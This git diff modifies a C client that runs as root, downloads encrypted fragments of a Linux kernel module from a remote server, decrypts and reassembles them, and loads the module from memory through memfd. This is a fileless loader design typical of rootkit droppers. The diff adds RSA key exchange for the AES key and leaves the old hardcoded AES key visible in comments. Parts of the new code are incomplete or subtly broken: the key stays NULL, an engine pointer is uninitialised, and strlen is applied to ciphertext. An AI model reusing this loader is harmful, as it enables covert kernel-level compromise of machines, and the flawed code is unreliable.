diff --git a/client/include/cipher.h b/client/include/cipher.h index 7ee6f78..ad642a9 100644 --- a/client/include/cipher.h +++ b/client/include/cipher.h @@ -18,8 +18,10 @@ typedef struct{ size_t text_size; } decrypted_t; -decrypted_t *decrypt_fraction(fraction_t *fraction); -char *generate_publickey(void); +decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key); +EVP_PKEY *generate_keypair(void); +char *write_public_key(EVP_PKEY *pkey); +char *write_private_key(EVP_PKEY *pkey); void decrypted_free(decrypted_t *decrypted); - +unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in); #endif diff --git a/client/include/load.h b/client/include/load.h index 56e8e48..f454840 100644 --- a/client/include/load.h +++ b/client/include/load.h @@ -12,5 +12,5 @@ #include "../include/cipher.h" #include "../include/log.h" -uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len); +uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len, unsigned char *key); int load_lkm(const uint8_t *lkm, ssize_t total_size); diff --git a/client/src/cipher.c b/client/src/cipher.c index 49b9e51..b2722af 100644 --- a/client/src/cipher.c +++ b/client/src/cipher.c @@ -9,8 +9,9 @@ static void handle_errors(void) { abort(); } -static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, - unsigned char *iv, unsigned char *plaintext) { +static int decrypt(unsigned char *ciphertext, int ciphertext_len, + unsigned char *key, unsigned char *iv, + unsigned char *plaintext) { EVP_CIPHER_CTX *ctx; int len; int plaintext_len; @@ -34,14 +35,14 @@ static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char return plaintext_len; } -decrypted_t *decrypt_fraction(fraction_t *fraction) { +decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key ) { size_t decrypted_size; - unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34, - 0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36, - 0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34, - 0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57}; +// unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34, +// 0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36, +// 0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34, +// 0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57}; unsigned char *decrypted_text = malloc(fraction->data_size); @@ -72,8 +73,7 @@ void decrypted_free(decrypted_t *decrypted) { free(decrypted); } -char *generate_publickey(void) { - +EVP_PKEY *generate_keypair(void) { EVP_PKEY *pkey = NULL; EVP_PKEY_CTX *pctx = NULL; @@ -99,9 +99,11 @@ char *generate_publickey(void) { return NULL; } EVP_PKEY_CTX_free(pctx); + return pkey; +} +char *write_public_key(EVP_PKEY *pkey) { BIO *bio = BIO_new(BIO_s_mem()); - if (PEM_write_bio_PUBKEY(bio, pkey) <= 0) { handle_errors(); EVP_PKEY_free(pkey); @@ -111,9 +113,59 @@ char *generate_publickey(void) { char *pem_key = NULL; long pem_len = BIO_get_mem_data(bio, &pem_key); - char *copy = malloc(pem_len); + char *copy = malloc(pem_len + 1); memcpy(copy, pem_key, pem_len); - BIO_free(bio); + copy[pem_len] = '\0'; + BIO_free(bio); return copy; } + +unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in) { + + EVP_PKEY_CTX *ctx; + ENGINE *eng; + unsigned char *out; + size_t outlen, inlen; + EVP_PKEY *key; + + inlen = strlen((char *) in); + + ctx = EVP_PKEY_CTX_new(pkey, eng); + if (!ctx) { + handle_errors(); + return NULL; + } + if (EVP_PKEY_decrypt_init(ctx) <= 0) { + handle_errors(); + EVP_PKEY_CTX_free(ctx); + return NULL; + } + + if (EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_OAEP_PADDING) <= 0) { + handle_errors(); + EVP_PKEY_CTX_free(ctx); + return NULL; + } + if (EVP_PKEY_decrypt(ctx, NULL, &outlen, in, inlen) <= 0) { + handle_errors(); + EVP_PKEY_CTX_free(ctx); + return NULL; + } + + out = OPENSSL_malloc(outlen); + if (!out) { + handle_errors(); + EVP_PKEY_CTX_free(ctx); + return NULL; + } + if (EVP_PKEY_decrypt(ctx, out, &outlen, in, inlen) <= 0) { + handle_errors(); + EVP_PKEY_CTX_free(ctx); + OPENSSL_free(out); + return NULL; + } + + EVP_PKEY_CTX_free(ctx); + return out; +} diff --git a/client/src/fraction.c b/client/src/fraction.c index 73ab4d7..94f842b 100644 --- a/client/src/fraction.c +++ b/client/src/fraction.c @@ -26,7 +26,7 @@ int download_fraction(int sfd, char *url, fraction_t *fraction) { } *fraction = downloaded_fraction; - + // Cleanup http_free(&res); @@ -48,7 +48,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) { if (size < HEADER_SIZE) { log_error("Insufficient size: %lu", size); return 1; - + } // Extract fields from data buffer with endianess handling diff --git a/client/src/load.c b/client/src/load.c index 0c7c3e4..e081270 100644 --- a/client/src/load.c +++ b/client/src/load.c @@ -11,7 +11,7 @@ #include #include -uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len) { +uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len,unsigned char *key) { uint8_t *module = NULL; ssize_t total_size = 0; @@ -19,7 +19,7 @@ uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len) { decrypted_t *decr; for (int i = 0; i < fractions_count; i++) { - decr = decrypt_fraction(&fractions[i]); + decr = decrypt_fraction(&fractions[i], key); if (decr == NULL) { log_error("Decryption process failed"); return NULL; @@ -68,8 +68,8 @@ int load_lkm(const uint8_t *lkm, ssize_t total_size) { close(fdlkm); return -1; } else if (written_bytes != total_size) { - log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", - total_size, written_bytes); + log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", total_size, + written_bytes); close(fdlkm); return -1; } diff --git a/client/src/main.c b/client/src/main.c index 2d1ed8a..3af7f99 100644 --- a/client/src/main.c +++ b/client/src/main.c @@ -36,7 +36,10 @@ int main(void) { fraction_t *fractions = NULL; uint8_t *module = NULL; ssize_t module_size; - + EVP_PKEY *pkey = NULL; + char *private_key = NULL; + char *public_key = NULL; + unsigned char *aes_key = NULL; if (geteuid() != 0) { log_error("This program needs to be run as root!"); exit(1); @@ -58,12 +61,36 @@ int main(void) { } freeaddrinfo(ainfo); - //if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(), - // &http_post_res) != HTTP_SUCCESS) { - // log_error("Failed to send RSA Public Key\n"); - // goto cleanup; - //} + // if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(), + // &http_post_res) != HTTP_SUCCESS) { + // log_error("Failed to send RSA Public Key\n"); + // goto cleanup; + // } + + pkey = generate_keypair(); + if (pkey == NULL) { + return EXIT_FAILURE; + } + public_key = write_public_key(pkey); + if (public_key == NULL) { + return EXIT_FAILURE; + } +/* + if (http_post(sfd, "/publickey", "text/plain", public_key, &http_post_res) != + HTTP_SUCCESS) { + log_error("Failed to send public key"); + goto cleanup; + } +*/ +// Wait for the server implmentation of the response + +/* aes_key = decrypt_msg(pkey, (unsigned char *)http_post_res.data); + if (aes_key == NULL) { + log_error("Failed to decrypt data from server"); + goto cleanup; + } +*/ if (http_get(sfd, "/", &http_fraction_res) != HTTP_SUCCESS) { log_error("Failed to retrieve fraction links"); goto cleanup; @@ -80,9 +107,7 @@ int main(void) { goto cleanup; } - - int lines_read = - split_fraction_links(http_fraction_res.data, fraction_links, num_links); + int lines_read = split_fraction_links(http_fraction_res.data, fraction_links, num_links); if (lines_read < 0) { log_error("Failed to split fraction links"); goto cleanup; @@ -101,7 +126,7 @@ int main(void) { goto cleanup; } } - + log_info("Downloaded fractions"); qsort(fractions, lines_read, sizeof(fraction_t), compare_fractions); @@ -110,7 +135,7 @@ int main(void) { print_fraction(fractions[i]); } - module = decrypt_lkm(fractions, num_links, &module_size); + module = decrypt_lkm(fractions, num_links, &module_size, aes_key); if (module == NULL) { log_error("There was an error creating the module"); goto cleanup; @@ -126,12 +151,15 @@ int main(void) { cleanup_string_array(fraction_links, num_links); cleanup_fraction_array(fractions, lines_read); free(module); + free(private_key); + free(public_key); + EVP_PKEY_free(pkey); close(sfd); - + return EXIT_SUCCESS; -/* There's nothing to see here, move on*/ + /* There's nothing to see here, move on*/ cleanup: // we accept NO comments on this. have a !nice day if (sfd != -1) { close(sfd); @@ -149,6 +177,16 @@ int main(void) { http_free(&http_post_res); } free(module); // no need to check module != NULL as free(NULL) is defined by - // the C standard to do nothing + // the C standard to do nothing + if (private_key) { + free(private_key); + } + if (public_key) { + free(public_key); + } + if (pkey) { + EVP_PKEY_free(pkey); + } + return EXIT_FAILURE; }